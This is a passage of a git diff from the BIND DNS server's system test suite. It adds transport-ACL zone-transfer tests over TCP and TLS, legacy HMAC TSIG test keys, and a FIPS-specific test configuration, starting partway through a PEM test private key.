+c9cQeIOXUKvT3DvnEh1LAtfI8gW3g9GVHad4k25dQ4ZSiyXsKL2+mOWn+4WmQx0C
+gcEA6UqykoDp2j6nfMA+5fEfNOplyXJMyTBxMoaFb+cO8P2qjjKOMyLJewXqW/3g
+wWaPcl3dGVCPaqmQxf+fDEarSkDxkroN02YaQy3xdAAZvoUDc00VKq9BFe3TZEuP
+7/sN3t3Ey7K5KVyKgh4cGPqSCCXrk3OPCyiRFxWa4wQAXuntT1iXkXGzXuoDPzCH
+xWRiM+z3se6PdoPXMbJhuL04b4CIUmHSrGbqtO5bi6IDOksIhaKMFs4c7escSF+7
+jj0zAoHBAONLPcUT9uhzMIXe9BBdRYms65G3VjsTbS8MC/QiR6nl5/evQb0hDp0G
+/tbLf9F9QVMA2onhK1mjafHFC4oVrwrLT+VZezKsQm3ICoqOFqxL+6dAu93A2dDA
+99YCc6pCrmagaDpA5tz1UwBwA77pl2aMV2g7iIe2p+hmL6dx6Tp8jN+Mu0KXViyT
+gPG9LITJQSu13EZgRukNnYu7+L2+NWfyGCbfCJ5/2qXmryjefoboR48sa8jZyUmQ
+rf/VAG3phwKBwDE/lqD82+E5tsvMHbsXAtp93Q0AtxsFwe/DnCm6YloXgsjP/Vro
+LhZtckMHPko1p3SiQgmVCyGeODTEOMQzqvda7GRoKIEHHeYurbkqSEUC+W5+yEgh
+hSDm+uhCV1l26z+wG1pRGWuU4JyFVLMlOmzD7I5NJ9ZYMwDni7H+50EiKvnEHwMS
+OKaByjutuAvAnEaP8N48GUcQn/4axSxlraNERAL4KaxBcazOYL8CbaIBswPbA63Q
+xySmrGrO4t4tJwKBwGITmnDKv5Tn930cimXxSUsyAWgcGypcpJVTdmj+zbuDCAg5
+aH1qoTqixR38K4hCqwhc6u/p6GHCgLmhU+xelOxsdGo7pUxlRjjGw72ruB7anpk5
+9pamW5aXXZnL7wr9wPFpr+/LB5M6jHk43HTpqLnIPwMsBSrCZ0uBpHh1T7U7/zGL
+MVZ3pOiRMWeeQHJ/wQ5SZ906N/7iMCQWlSuSwsq6jS9guABknP1PQC+7ag9edVpT
+SaMeTpvewSYOTCQhSwKBwEmZP/Jh76G3bETPSPcIyPB0vgYmYiAftmvtwHzUL14V
+dOfNbwXF6WiepSceLbw99LNpMwfRfKBGVDLRhKMqL7QR8ZKNew5AvfXVZ1yDNKu+
+/4hqFLUhsAARsfNofAzvKOtWmghVBzO9TauAyv3prFgjfvDkA+EZ2amDvXChkP/Q
+7ck2aIUu9Sr4kPTUigIRlu6c18QQiLobXC7yKx6GhEpJsh9xGHHDJqkG16l+u1ju
+bEd5UJArJoST5lff5y7MyQ==
+-----END PRIVATE KEY-----
diff --git a/bin/tests/system/transport-acl/setup.sh b/bin/tests/system/transport-acl/setup.sh
new file mode 100644
index 0000000000..672a5b6ae4
--- /dev/null
+++ b/bin/tests/system/transport-acl/setup.sh
@@ -0,0 +1,21 @@
+#!/bin/sh
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+# shellcheck disable=SC1091
+. ../conf.sh
+
+$SHELL clean.sh
+
+$SHELL "${TOP_SRCDIR}"/bin/tests/system/genzone.sh 2 > ns1/example.db
+
+copy_setports ns1/named.conf.in ns1/named.conf
diff --git a/bin/tests/system/transport-acl/tests.sh b/bin/tests/system/transport-acl/tests.sh
new file mode 100644
index 0000000000..9bed02b6f1
--- /dev/null
+++ b/bin/tests/system/transport-acl/tests.sh
@@ -0,0 +1,124 @@
+#!/bin/sh
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+set -e
+
+# shellcheck disable=SC1091
+. ../conf.sh
+
+dig_out_basename="dig.out.test"
+testing="testing allow-transfer transport ACL functionality"
+
+dig_with_opts() {
+	# shellcheck disable=SC2086
+	"$DIG" +noadd +nosea +nostat +noquest +nocmd "$@"
+}
+
+status=0
+n=0
+
+run_dig_test () {
+	test_message="$1"
+	shift
+	n=$((n+1))
+	echo_i "$test_message ($n)"
+	ret=0
+	dig_with_opts "$@" > "$dig_out_basename$n" || ret=1
+}
+
+run_dig_expect_axfr_success () {
+	run_dig_test "$@"
+	grep "; Transfer failed" "$dig_out_basename$n" > /dev/null && ret=1
+	if [ $ret != 0 ]; then echo_i "failed"; fi
+	status=$((status+ret))
+}
+
+run_dig_expect_axfr_failure () {
+	run_dig_test "$@"
+	grep "; Transfer failed" "$dig_out_basename$n" > /dev/null || ret=1
+	if [ $ret != 0 ]; then echo_i "failed"; fi
+	status=$((status + ret))
+}
+
+# generic tests
+run_dig_expect_axfr_success "$testing for XoT" -p "${TLSPORT}" +tls -b 10.53.0.10 @10.53.0.1 axfr example0
+
+run_dig_expect_axfr_failure "$testing XFR via TCP (failure expected)" -p "${PORT}" +tcp -b 10.53.0.10 @10.53.0.1 axfr example0
+
+# 1. Test allow-transfer port X, transfer works with TCP and TLS on port X but not port Y.
+
+run_dig_expect_axfr_success "$testing for XFR via TCP" -p "${EXTRAPORT1}" +tcp -b 10.53.0.10 @10.53.0.1 axfr example1
+
+run_dig_expect_axfr_success "$testing for XoT" -p "${EXTRAPORT1}" +tls -b 10.53.0.10 @10.53.0.2 axfr example1
+
+run_dig_expect_axfr_failure "$testing for XFR via TCP (failure expected)" -p  "${EXTRAPORT2}" +tcp -b 10.53.0.10 @10.53.0.1 axfr example1
+
+run_dig_expect_axfr_failure "$testing for XoT (failure expected)" -p "${EXTRAPORT2}" +tls -b 10.53.0.10 @10.53.0.2 axfr example1
+
+# 2. Test allow-transfer transport tcp, transfer works with TCP on any port but not TLS.
+
+run_dig_expect_axfr_success "$testing for XFR via TCP" -p "${EXTRAPORT1}" +tcp -b 10.53.0.10 @10.53.0.3 axfr example2
+
+run_dig_expect_axfr_success "$testing for XFR via TCP" -p "${EXTRAPORT2}" +tcp -b 10.53.0.10 @10.53.0.3 axfr example2
+
+run_dig_expect_axfr_failure "$testing for XoT (failure expected)" -p "${EXTRAPORT1}" +tls -b 10.53.0.10 @10.53.0.4 axfr example2
+
+run_dig_expect_axfr_failure "$testing for XoT (failure expected)" -p "${EXTRAPORT2}" +tls -b 10.53.0.10 @10.53.0.4 axfr example2
+
+# 3. Test allow-transfer transport tls, transfer works with TLS on any port but not TCP.
+run_dig_expect_axfr_success "$testing for XoT" -p "${EXTRAPORT3}" +tls -b 10.53.0.10 @10.53.0.3 axfr example3
+
+run_dig_expect_axfr_success "$testing for XoT" -p "${EXTRAPORT4}" +tls -b 10.53.0.10 @10.53.0.3 axfr example3
+
+run_dig_expect_axfr_failure "$testing for XFR via TCP (failure expected)" -p "${EXTRAPORT3}" +tcp -b 10.53.0.10 @10.53.0.4 axfr example3
+
+run_dig_expect_axfr_failure "$testing for XFR via TCP (failure expected)" -p "${EXTRAPORT4}" +tcp -b 10.53.0.10 @10.53.0.4 axfr example3
+
+# 4. Test allow-transfer port X transport tcp, transfer works with TCP on port X but not port Y and not with TLS on port X.
+
+run_dig_expect_axfr_success "$testing for XFR via TCP" -p "${EXTRAPORT1}" +tcp -b 10.53.0.10 @10.53.0.5 axfr example4
+
+run_dig_expect_axfr_failure "$testing for XFR via TCP (failure expected)" -p "${EXTRAPORT2}" +tcp -b 10.53.0.10 @10.53.0.5 axfr example4
+
+run_dig_expect_axfr_failure "$testing for XoT (failure expected)" -p "${EXTRAPORT1}" +tls -b 10.53.0.10 @10.53.0.6 axfr example4
+
+# 5. Test allow-transfer port X transport tls, transfer works with TLS on port X but not port Y and not with TCP on port X.
+
+run_dig_expect_axfr_success "$testing for XoT" -p "${EXTRAPORT3}" +tls -b 10.53.0.10 @10.53.0.1 axfr example5
+
+run_dig_expect_axfr_failure "$testing for XoT (failure expected)" -p "${EXTRAPORT4}" +tls -b 10.53.0.10 @10.53.0.1 axfr example5
+
+run_dig_expect_axfr_failure "$testing for XFR via TCP (failure expected)" -p "${EXTRAPORT3}" +tcp -b 10.53.0.10 @10.53.0.2 axfr example5
+
+# 6. Test with multiple allow-transfer available, first ACL is a match.
+run_dig_expect_axfr_success "$testing for XFR via TCP" -p "${EXTRAPORT5}" +tcp -b 10.53.0.7 @10.53.0.1 axfr example6
+
+run_dig_expect_axfr_failure "$testing for XFR via TCP (failure expected)" -p "${EXTRAPORT5}" +tcp -b 10.53.0.6 @10.53.0.1 axfr example6
+
+# 7. Test with multiple allow-transfer available, last ACL is a match.
+run_dig_expect_axfr_success "$testing for XoT" -p "${EXTRAPORT6}" +tls -b 10.53.0.9 @10.53.0.1 axfr example7
+
+run_dig_expect_axfr_failure "$testing for XoT (failure expected)" -p "${EXTRAPORT6}" +tls -b 10.53.0.6 @10.53.0.1 axfr example7
+
+# 8. Test with multiple allow-transfer available, no ACL is a match.
+run_dig_expect_axfr_failure "$testing for XoT (failure expected)" -p "${EXTRAPORT7}" +tls -b 10.53.0.7 @10.53.0.1 axfr example8
+
+# 9. Test with multiple allow-transfer available, negated ACL is used.
+run_dig_expect_axfr_success "$testing for XFR via TCP" -p "${EXTRAPORT8}" +tcp -b 10.53.0.7 @10.53.0.1 axfr example9
+
+run_dig_expect_axfr_failure "$testing for XoT (failure expected)" -p "${EXTRAPORT8}" +tcp -b 10.53.0.8 @10.53.0.1 axfr example9
+
+run_dig_expect_axfr_success "$testing for XFR via TCP" -p "${EXTRAPORT8}" +tcp -b 10.53.0.9 @10.53.0.1 axfr example9
+
+echo_i "exit status: $status"
+[ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/transport-acl/tests_sh_transport_acl.py b/bin/tests/system/transport-acl/tests_sh_transport_acl.py
new file mode 100644
index 0000000000..400c85996e
--- /dev/null
+++ b/bin/tests/system/transport-acl/tests_sh_transport_acl.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_transport_acl(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/tsig/ans2/ans.pl b/bin/tests/system/tsig/ans2/ans.pl
index 578d1bec4b..09ab29b949 100644
--- a/bin/tests/system/tsig/ans2/ans.pl
+++ b/bin/tests/system/tsig/ans2/ans.pl
@@ -1,7 +1,9 @@
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/tsig/clean.sh b/bin/tests/system/tsig/clean.sh
index b2fc2915d5..2f83915b4a 100644
--- a/bin/tests/system/tsig/clean.sh
+++ b/bin/tests/system/tsig/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -16,6 +18,7 @@
 rm -f dig.out.*
 rm -f */named.memstats
 rm -f */named.conf
+rm -f ns1/named-fips.conf
 rm -f */named.run
 rm -f ns*/named.lock
 rm -f Kexample.net.*
diff --git a/bin/tests/system/tsig/ns1/example.db b/bin/tests/system/tsig/ns1/example.db
index 05d8dd8611..7854613a13 100644
--- a/bin/tests/system/tsig/ns1/example.db
+++ b/bin/tests/system/tsig/ns1/example.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/tsig/ns1/legacy/Khmac-md5-legacy.+157+22023.key b/bin/tests/system/tsig/ns1/legacy/Khmac-md5-legacy.+157+22023.key
new file mode 100644
index 0000000000..37ee8aec85
--- /dev/null
+++ b/bin/tests/system/tsig/ns1/legacy/Khmac-md5-legacy.+157+22023.key
@@ -0,0 +1 @@
+hmac-md5-legacy. IN KEY 0 3 157 B7HCXJs0XnSPzypG5oHuGw==
diff --git a/bin/tests/system/tsig/ns1/legacy/Khmac-md5-legacy.+157+22023.private b/bin/tests/system/tsig/ns1/legacy/Khmac-md5-legacy.+157+22023.private
new file mode 100644
index 0000000000..8b2f435513
--- /dev/null
+++ b/bin/tests/system/tsig/ns1/legacy/Khmac-md5-legacy.+157+22023.private
@@ -0,0 +1,7 @@
+Private-key-format: v1.3
+Algorithm: 157 (HMAC_MD5)
+Key: B7HCXJs0XnSPzypG5oHuGw==
+Bits: AAA=
+Created: 20230619071002
+Publish: 20230619071002
+Activate: 20230619071002
diff --git a/bin/tests/system/tsig/ns1/legacy/Khmac-sha1-legacy.+161+50591.key b/bin/tests/system/tsig/ns1/legacy/Khmac-sha1-legacy.+161+50591.key
new file mode 100644
index 0000000000..bd1445deec
--- /dev/null
+++ b/bin/tests/system/tsig/ns1/legacy/Khmac-sha1-legacy.+161+50591.key
@@ -0,0 +1 @@
+hmac-sha1-legacy. IN KEY 0 3 161 TxGx9XBp6Pp5yYAOKXdERA==
diff --git a/bin/tests/system/tsig/ns1/legacy/Khmac-sha1-legacy.+161+50591.private b/bin/tests/system/tsig/ns1/legacy/Khmac-sha1-legacy.+161+50591.private
new file mode 100644
index 0000000000..fe3d7ec0e3
--- /dev/null
+++ b/bin/tests/system/tsig/ns1/legacy/Khmac-sha1-legacy.+161+50591.private
@@ -0,0 +1,7 @@
+Private-key-format: v1.3
+Algorithm: 161 (HMAC_SHA1)
+Key: TxGx9XBp6Pp5yYAOKXdERA==
+Bits: AAA=
+Created: 20230619071031
+Publish: 20230619071031
+Activate: 20230619071031
diff --git a/bin/tests/system/tsig/ns1/legacy/Khmac-sha224-legacy.+162+50865.key b/bin/tests/system/tsig/ns1/legacy/Khmac-sha224-legacy.+162+50865.key
new file mode 100644
index 0000000000..c849be93d7
--- /dev/null
+++ b/bin/tests/system/tsig/ns1/legacy/Khmac-sha224-legacy.+162+50865.key
@@ -0,0 +1 @@
+hmac-sha224-legacy. IN KEY 0 3 162 H8Hyw718rLqToQFRLAeFWQ==
diff --git a/bin/tests/system/tsig/ns1/legacy/Khmac-sha224-legacy.+162+50865.private b/bin/tests/system/tsig/ns1/legacy/Khmac-sha224-legacy.+162+50865.private
new file mode 100644
index 0000000000..a2f31ec375
--- /dev/null
+++ b/bin/tests/system/tsig/ns1/legacy/Khmac-sha224-legacy.+162+50865.private
@@ -0,0 +1,7 @@
+Private-key-format: v1.3
+Algorithm: 162 (HMAC_SHA224)
+Key: H8Hyw718rLqToQFRLAeFWQ==
+Bits: AAA=
+Created: 20230619071136
+Publish: 20230619071136
+Activate: 20230619071136
diff --git a/bin/tests/system/tsig/ns1/legacy/Khmac-sha256-legacy.+163+38999.key b/bin/tests/system/tsig/ns1/legacy/Khmac-sha256-legacy.+163+38999.key
new file mode 100644
index 0000000000..1bbb6f00c3
--- /dev/null
+++ b/bin/tests/system/tsig/ns1/legacy/Khmac-sha256-legacy.+163+38999.key
@@ -0,0 +1 @@
+hmac-sha256-legacy. IN KEY 0 3 163 fdT9hiPov4ThMEfRv1FNmA==
diff --git a/bin/tests/system/tsig/ns1/legacy/Khmac-sha256-legacy.+163+38999.private b/bin/tests/system/tsig/ns1/legacy/Khmac-sha256-legacy.+163+38999.private
new file mode 100644
index 0000000000..0b209c694d
--- /dev/null
+++ b/bin/tests/system/tsig/ns1/legacy/Khmac-sha256-legacy.+163+38999.private
@@ -0,0 +1,7 @@
+Private-key-format: v1.3
+Algorithm: 163 (HMAC_SHA256)
+Key: fdT9hiPov4ThMEfRv1FNmA==
+Bits: AAA=
+Created: 20230619071043
+Publish: 20230619071043
+Activate: 20230619071043
diff --git a/bin/tests/system/tsig/ns1/legacy/Khmac-sha384-legacy.+164+56610.key b/bin/tests/system/tsig/ns1/legacy/Khmac-sha384-legacy.+164+56610.key
new file mode 100644
index 0000000000..46fae39435
--- /dev/null
+++ b/bin/tests/system/tsig/ns1/legacy/Khmac-sha384-legacy.+164+56610.key
@@ -0,0 +1 @@
+hmac-sha384-legacy. IN KEY 0 3 164 fnshFIjQTLFap6+j2JGBkA==
diff --git a/bin/tests/system/tsig/ns1/legacy/Khmac-sha384-legacy.+164+56610.private b/bin/tests/system/tsig/ns1/legacy/Khmac-sha384-legacy.+164+56610.private
new file mode 100644
index 0000000000..be5aa1268d
--- /dev/null
+++ b/bin/tests/system/tsig/ns1/legacy/Khmac-sha384-legacy.+164+56610.private
@@ -0,0 +1,7 @@
+Private-key-format: v1.3
+Algorithm: 164 (HMAC_SHA384)
+Key: fnshFIjQTLFap6+j2JGBkA==
+Bits: AAA=
+Created: 20230619071109
+Publish: 20230619071109
+Activate: 20230619071109
diff --git a/bin/tests/system/tsig/ns1/legacy/Khmac-sha512-legacy.+165+22767.key b/bin/tests/system/tsig/ns1/legacy/Khmac-sha512-legacy.+165+22767.key
new file mode 100644
index 0000000000..0defc84585
--- /dev/null
+++ b/bin/tests/system/tsig/ns1/legacy/Khmac-sha512-legacy.+165+22767.key
@@ -0,0 +1 @@
+hmac-sha512-legacy. IN KEY 0 3 165 BZwNLICp2tj4hi6gil41eg==
diff --git a/bin/tests/system/tsig/ns1/legacy/Khmac-sha512-legacy.+165+22767.private b/bin/tests/system/tsig/ns1/legacy/Khmac-sha512-legacy.+165+22767.private
new file mode 100644
index 0000000000..21268e5642
--- /dev/null
+++ b/bin/tests/system/tsig/ns1/legacy/Khmac-sha512-legacy.+165+22767.private
@@ -0,0 +1,7 @@
+Private-key-format: v1.3
+Algorithm: 165 (HMAC_SHA512)
+Key: BZwNLICp2tj4hi6gil41eg==
+Bits: AAA=
+Created: 20230619071124
+Publish: 20230619071124
+Activate: 20230619071124
diff --git a/bin/tests/system/tsig/ns1/named-fips.conf.in b/bin/tests/system/tsig/ns1/named-fips.conf.in
new file mode 100644
index 0000000000..6925f0f9c5
--- /dev/null
+++ b/bin/tests/system/tsig/ns1/named-fips.conf.in
@@ -0,0 +1,115 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	query-source address 10.53.0.1;
+	notify-source 10.53.0.1;
+	transfer-source 10.53.0.1;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.1; };
+	listen-on-v6 { none; };
+	recursion yes;
+	dnssec-validation no;
+	notify no;
+};
+
+key "sha1" {
+	secret "FrSt77yPTFx6hTs4i2tKLB9LmE0=";
+	algorithm hmac-sha1;
+};
+
+key "sha224" {
+	secret "hXfwwwiag2QGqblopofai9NuW28q/1rH4CaTnA==";
+	algorithm hmac-sha224;
+};
+
+key "sha256" {
+	secret "R16NojROxtxH/xbDl//ehDsHm5DjWTQ2YXV+hGC2iBY=";
+	algorithm hmac-sha256;
+};
+
+key "sha384" {
+	secret "OaDdoAk2LAcLtYeUnsT7A9XHjsb6ZEma7OCvUpMraQIJX6HetGrlKmF7yglO1G2h";
+	algorithm hmac-sha384;
+};
+
+key "sha512" {
+	secret "jI/Pa4qRu96t76Pns5Z/Ndxbn3QCkwcxLOgt9vgvnJw5wqTRvNyk3FtD6yIMd1dWVlqZ+Y4fe6Uasc0ckctEmg==";
+	algorithm hmac-sha512;
+};
+
+key "hmac-sha1-legacy" {
+	algorithm "hmac-sha1";
+	secret "TxGx9XBp6Pp5yYAOKXdERA==";
+};
+
+key "hmac-sha224-legacy" {
+	algorithm "hmac-sha224";
+	secret "H8Hyw718rLqToQFRLAeFWQ==";
+};
+
+key "hmac-sha256-legacy" {
+	algorithm "hmac-sha256";
+	secret "fdT9hiPov4ThMEfRv1FNmA==";
+};
+
+key "hmac-sha384-legacy" {
+	algorithm "hmac-sha384";
+	secret "fnshFIjQTLFap6+j2JGBkA==";
+};
+
+key "hmac-sha512-legacy" {
+	algorithm "hmac-sha512";
+	secret "BZwNLICp2tj4hi6gil41eg==";
+};
+
+key "sha1-trunc" {
+	secret "FrSt77yPTFx6hTs4i2tKLB9LmE0=";
+	algorithm hmac-sha1-80;
+};
+
+key "sha224-trunc" {
+	secret "hXfwwwiag2QGqblopofai9NuW28q/1rH4CaTnA==";
+	algorithm hmac-sha224-112;
+};
+
+key "sha256-trunc" {
+	secret "R16NojROxtxH/xbDl//ehDsHm5DjWTQ2YXV+hGC2iBY=";
+	algorithm hmac-sha256-128;
+};
+
+key "sha384-trunc" {
+	secret "OaDdoAk2LAcLtYeUnsT7A9XHjsb6ZEma7OCvUpMraQIJX6HetGrlKmF7yglO1G2h";
+	algorithm hmac-sha384-192;
+};
+
+key "sha512-trunc" {
+	secret "jI/Pa4qRu96t76Pns5Z/Ndxbn3QCkwcxLOgt9vgvnJw5wqTRvNyk3FtD6yIMd1dWVlqZ+Y4fe6Uasc0ckctEmg==";
+	algorithm hmac-sha512-256;
+};
+
+zone "example.nil" {
+	type primary;
+	file "example.db";
+};
+
+server 10.53.0.2 {
+	keys sha256;
+};
+
+zone "bad-tsig" {
+	type forward;
+	forwarders { 10.53.0.2; };
+	forward only;
+};
diff --git a/bin/tests/system/tsig/ns1/named.conf.in b/bin/tests/system/tsig/ns1/named.conf.in
index 3470c4f200..cae7d592f9 100644
--- a/bin/tests/system/tsig/ns1/named.conf.in
+++ b/bin/tests/system/tsig/ns1/named.conf.in
@@ -1,97 +1,29 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
-options {
-	query-source address 10.53.0.1;
-	notify-source 10.53.0.1;
-	transfer-source 10.53.0.1;
-	port @PORT@;
-	pid-file "named.pid";
-	listen-on { 10.53.0.1; };
-	listen-on-v6 { none; };
-	recursion yes;
-	notify no;
-};
+include "named-fips.conf";
 
 key "md5" {
 	secret "97rnFx24Tfna4mHPfgnerA==";
 	algorithm hmac-md5;
 };
 
-key "sha1" {
-	secret "FrSt77yPTFx6hTs4i2tKLB9LmE0=";
-	algorithm hmac-sha1;
-};
-
-key "sha224" {
-	secret "hXfwwwiag2QGqblopofai9NuW28q/1rH4CaTnA==";
-	algorithm hmac-sha224;
-};
-
-key "sha256" {
-	secret "R16NojROxtxH/xbDl//ehDsHm5DjWTQ2YXV+hGC2iBY=";
-	algorithm hmac-sha256;
-};
-
-key "sha384" {
-	secret "OaDdoAk2LAcLtYeUnsT7A9XHjsb6ZEma7OCvUpMraQIJX6HetGrlKmF7yglO1G2h";
-	algorithm hmac-sha384;
-};
-
-key "sha512" {
-	secret "jI/Pa4qRu96t76Pns5Z/Ndxbn3QCkwcxLOgt9vgvnJw5wqTRvNyk3FtD6yIMd1dWVlqZ+Y4fe6Uasc0ckctEmg==";
-	algorithm hmac-sha512;
-};
-
 key "md5-trunc" {
 	secret "97rnFx24Tfna4mHPfgnerA==";
 	algorithm hmac-md5-80;
 };
 
-key "sha1-trunc" {
-	secret "FrSt77yPTFx6hTs4i2tKLB9LmE0=";
-	algorithm hmac-sha1-80;
-};
-
-key "sha224-trunc" {
-	secret "hXfwwwiag2QGqblopofai9NuW28q/1rH4CaTnA==";
-	algorithm hmac-sha224-112;
-};
-
-key "sha256-trunc" {
-	secret "R16NojROxtxH/xbDl//ehDsHm5DjWTQ2YXV+hGC2iBY=";
-	algorithm hmac-sha256-128;
-};
-
-key "sha384-trunc" {
-	secret "OaDdoAk2LAcLtYeUnsT7A9XHjsb6ZEma7OCvUpMraQIJX6HetGrlKmF7yglO1G2h";
-	algorithm hmac-sha384-192;
-};
-
-key "sha512-trunc" {
-	secret "jI/Pa4qRu96t76Pns5Z/Ndxbn3QCkwcxLOgt9vgvnJw5wqTRvNyk3FtD6yIMd1dWVlqZ+Y4fe6Uasc0ckctEmg==";
-	algorithm hmac-sha512-256;
-};
-
-zone "example.nil" {
-	type primary;
-	file "example.db";
-};
-
-server 10.53.0.2 {
-	keys sha256;
-};
-
-zone "bad-tsig" {
-	type forward;
-	forwarders { 10.53.0.2; };
-	forward only;
+key "hmac-md5-legacy" {
+        algorithm "hmac-md5";
+        secret "B7HCXJs0XnSPzypG5oHuGw==";
 };
diff --git a/bin/tests/system/tsig/setup.sh b/bin/tests/system/tsig/setup.sh
index 3210f1b218..6a9c45f371 100644
--- a/bin/tests/system/tsig/setup.sh
+++ b/bin/tests/system/tsig/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -13,4 +15,11 @@
 
 $SHELL clean.sh
 
-copy_setports ns1/named.conf.in ns1/named.conf
+if $FEATURETEST --md5
+then
+    copy_setports ns1/named-fips.conf.in ns1/named-fips.conf
+    # includes named-fips.conf
+    cp ns1/named.conf.in ns1/named.conf
+else
+    copy_setports ns1/named-fips.conf.in ns1/named.conf
+fi
diff --git a/bin/tests/system/tsig/tests.sh b/bin/tests/system/tsig/tests.sh
index a9bf42b58a..68c5b6dc2a 100644
--- a/bin/tests/system/tsig/tests.sh
+++ b/bin/tests/system/tsig/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 DIGOPTS="+tcp +nosea +nostat +noquest +nocomm +nocmd -p ${PORT}"
@@ -25,20 +29,25 @@ sha512="jI/Pa4qRu96t76Pns5Z/Ndxbn3QCkwcxLOgt9vgvnJw5wqTRvNyk3FtD6yIMd1dWVlqZ+Y4f
 
 status=0
 
-echo_i "fetching using hmac-md5 (old form)"
-ret=0
-$DIG $DIGOPTS example.nil. -y "md5:$md5" @10.53.0.1 soa > dig.out.md5.old || ret=1
-grep -i "md5.*TSIG.*NOERROR" dig.out.md5.old > /dev/null || ret=1
-if [ $ret -eq 1 ] ; then
-	echo_i "failed"; status=1
-fi
+if $FEATURETEST --md5
+then
+	echo_i "fetching using hmac-md5 (old form)"
+	ret=0
+	$DIG $DIGOPTS example.nil. -y "md5:$md5" @10.53.0.1 soa > dig.out.md5.old || ret=1
+	grep -i "md5.*TSIG.*NOERROR" dig.out.md5.old > /dev/null || ret=1
+	if [ $ret -eq 1 ] ; then
+		echo_i "failed"; status=1
+	fi
 
-echo_i "fetching using hmac-md5 (new form)"
-ret=0
-$DIG $DIGOPTS example.nil. -y "hmac-md5:md5:$md5" @10.53.0.1 soa > dig.out.md5.new || ret=1
-grep -i "md5.*TSIG.*NOERROR" dig.out.md5.new > /dev/null || ret=1
-if [ $ret -eq 1 ] ; then
-	echo_i "failed"; status=1
+	echo_i "fetching using hmac-md5 (new form)"
+	ret=0
+	$DIG $DIGOPTS example.nil. -y "hmac-md5:md5:$md5" @10.53.0.1 soa > dig.out.md5.new || ret=1
+	grep -i "md5.*TSIG.*NOERROR" dig.out.md5.new > /dev/null || ret=1
+	if [ $ret -eq 1 ] ; then
+		echo_i "failed"; status=1
+	fi
+else
+	echo_i "skipping using hmac-md5"
 fi
 
 echo_i "fetching using hmac-sha1"
@@ -86,12 +95,17 @@ fi
 #	Truncated TSIG
